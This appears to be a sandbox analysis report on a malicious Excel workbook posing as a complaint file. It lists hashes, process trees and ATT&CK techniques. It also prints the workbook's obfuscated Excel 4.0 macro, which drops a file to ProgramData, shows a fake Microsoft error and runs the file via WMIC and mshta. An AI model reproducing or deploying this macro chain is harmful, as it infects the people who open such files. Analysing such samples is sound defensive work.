SSDEEP:	1536:8pWBzMgiCxKNyqJfn2pc8EJ8flXchmJQL08Kt2G2G6yv/3GAohPG+rLzrLZu00io:b9ne2pjE2pWmWfBG7DHG5hpnk0lcbdA2
File Content Preview:	PK..........!.m\.%............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Complaint details 143595.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN(CHAR(67) & CHAR(58) & CHAR(92) & "Prog" & CHAR(114) & CHAR(97) & "mDa" & CHAR(116) & CHAR(97) & CHAR(92) & "KBjfh" & CHAR(102) & "mo" & CHAR(71) & "RoN.rt" & CHAR(102), 3)
7,564,=A6189+C9603
8,564,=D2684+D9691
10,564,=A6103+C5387
12,564,=B5737+B5514
13,564,=FOR.CELL("aeUnTBjEWBNUVm",Sheet1!BR170:CI439, TRUE)
14,564,=C7642+A4455
19,564,=B5077+A276
21,564,=C2893+D6211
25,564,=D6944+B9715
26,564,=FWRITE(0,CHAR(aeUnTBjEWBNUVm))
31,564,=D7800+A554
33,564,=A4093+A2809
34,564,=D9290+B3087
37,564,=D363+C9448
38,564,=NEXT()
39,564,=D4014+C679
40,564,=C675+D6066
41,564,=A5007+A7167
44,564,=B560+C788
45,564,=B1641+D2073
46,564,=D5403+A8065
47,564,=D142+D8621
52,564,=ALERT(CHAR(69) & "rror!" & CHAR(32) & CHAR(83) & "endin" & CHAR(103) & " rep" & CHAR(111) & "rt to" & CHAR(32) & "Microsoft...")
54,564,=D8970+A8840
55,564,=B2305+A8466
56,564,=C775+D1343
58,564,=A3649+B506
59,564,=D6903+B9200
60,564,=C8055+A9279
61,564,=D7261+A3173
64,564,=EXEC("wmic p" & CHAR(114) & "ocess ca" & CHAR(108) & "l c" & CHAR(114) & "eate " & CHAR(34) & "msh" & CHAR(116) & "a C:\ProgramData\KBjfhfmoGRo" & CHAR(78) & ".rtf" & CHAR(34))
65,564,=D5683+C3157
66,564,=C3674+C336
69,564,=D7419+B1194
70,564,=C2221+C5301
74,564,=RETURN()

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2660 Parent PID: 596

General

Start time:	14:07:21
Start date:	02/12/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f470000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 2796 Parent PID: 2660

General

Start time:	14:07:46
Start date:	02/12/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf"
Imagebase:	0xffa00000
File size:	566272 bytes
MD5 hash:	FD902835DEAEF4091799287736F3A028
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: mshta.exe PID: 632 Parent PID: 1304

General

Start time:	14:07:47
Start date:	02/12/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\KBjfhfmoGRoN.rtf
Imagebase:	0x13f840000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: EXCEL.EXE PID: 2660 Parent PID: 596 EXCEL.EXECOMMON

Executed Functions

Non-executed Functions

Function 01D566F3, Relevance: .8, Instructions: 775COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936afbd4271a532a2c579e992108a1ea0597df29e70e87c4c0b868a661ca19ef
Instruction ID: f7e50b335640e2f25ebc567d896fe45175ae2415e0ae97f3c683a0de939f58db
Opcode Fuzzy Hash: 936afbd4271a532a2c579e992108a1ea0597df29e70e87c4c0b868a661ca19ef
Instruction Fuzzy Hash: 7362775184E3C21FD74383341C79696BFB1AF13118B6E86EBD5C5CB8A3E24C591AD362

Uniqueness

Uniqueness Score: -1.00%

Function 01D566E8, Relevance: .8, Instructions: 763COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 717a5895595d41d8deef9b78895bfa439805cd1139d915202475aa576569a134
Instruction ID: 009ac5b6c1216f27fe1192f8fb7e46d53cc4d56adffb64a61acc68932eabd894
Opcode Fuzzy Hash: 717a5895595d41d8deef9b78895bfa439805cd1139d915202475aa576569a134
Instruction Fuzzy Hash: 9C62875184E3C21FD74387344C79696BFB0AF13118B6E86EBD5C5CB8A3E24C991AD362

Uniqueness

Uniqueness Score: -1.00%

Function 01D56753, Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9914198cb833362c61a5595ca4c0074a3244be9b979a30aa89b7cf5e654d5c7e
Instruction ID: 096ecc9a4eec0060318c1d158e9d0a721cd69c2ddc7a8fa65c47c9fd839e7855
Opcode Fuzzy Hash: 9914198cb833362c61a5595ca4c0074a3244be9b979a30aa89b7cf5e654d5c7e
Instruction Fuzzy Hash: 8762875184E3C21FD74383341C79696BFB1AF13118B6E86EBE5C5DB8A3E24C491AD362

Uniqueness

Uniqueness Score: -1.00%

Function 01D56743, Relevance: .7, Instructions: 738COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7205f6913687fad5d078cbed5a76ddf84508d40b240b11b869643e326cef981
Instruction ID: 8ae652131b1af430e74b31d0b3f703dbce8eb735f243200ac934223a533a0292
Opcode Fuzzy Hash: e7205f6913687fad5d078cbed5a76ddf84508d40b240b11b869643e326cef981
Instruction Fuzzy Hash: 8E52875184E3C21FD74383344C79696BFB1AF13118B6E86EBD5C5DB8A3E24C891AD362

Uniqueness

Uniqueness Score: -1.00%

Function 01D57820, Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 792d2c2c412fa1bff7d204b3b13940595a2a3a264a38cd1e56b06762bd8615a9
Instruction ID: be086061940c25a5aa4559128b8f35cbee5e94e5c01443623a6a811a88d8982a
Opcode Fuzzy Hash: 792d2c2c412fa1bff7d204b3b13940595a2a3a264a38cd1e56b06762bd8615a9
Instruction Fuzzy Hash: 56C10E9180F7C21FD71387744DB5292BFB19E23209B2E55DBC1C5CE4A3E909592AD362

Uniqueness

Uniqueness Score: -1.00%

Function 01D56340, Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679999151.0000000001D50000.00000004.00000001.sdmp, Offset: 01D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d65f371ee7799e7b92dc9e78169ac8b85e37fe970bb7d81758b5354c673cff
Instruction ID: b145f47989536373f47efccb6439234087401cb6d20530012bbe8022298bbf82
Opcode Fuzzy Hash: a7d65f371ee7799e7b92dc9e78169ac8b85e37fe970bb7d81758b5354c673cff
Instruction Fuzzy Hash: 11D1505508E3C20FD71383380EB51867FB29E47158B2E55DBD6C2DF4A3E6195A2AD323

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report Complaint details 143595.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Complaint details 143595.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2660 Parent PID: 596

General

Chronological Activities

Analysis Process: WMIC.exe PID: 2796 Parent PID: 2660

General

Chronological Activities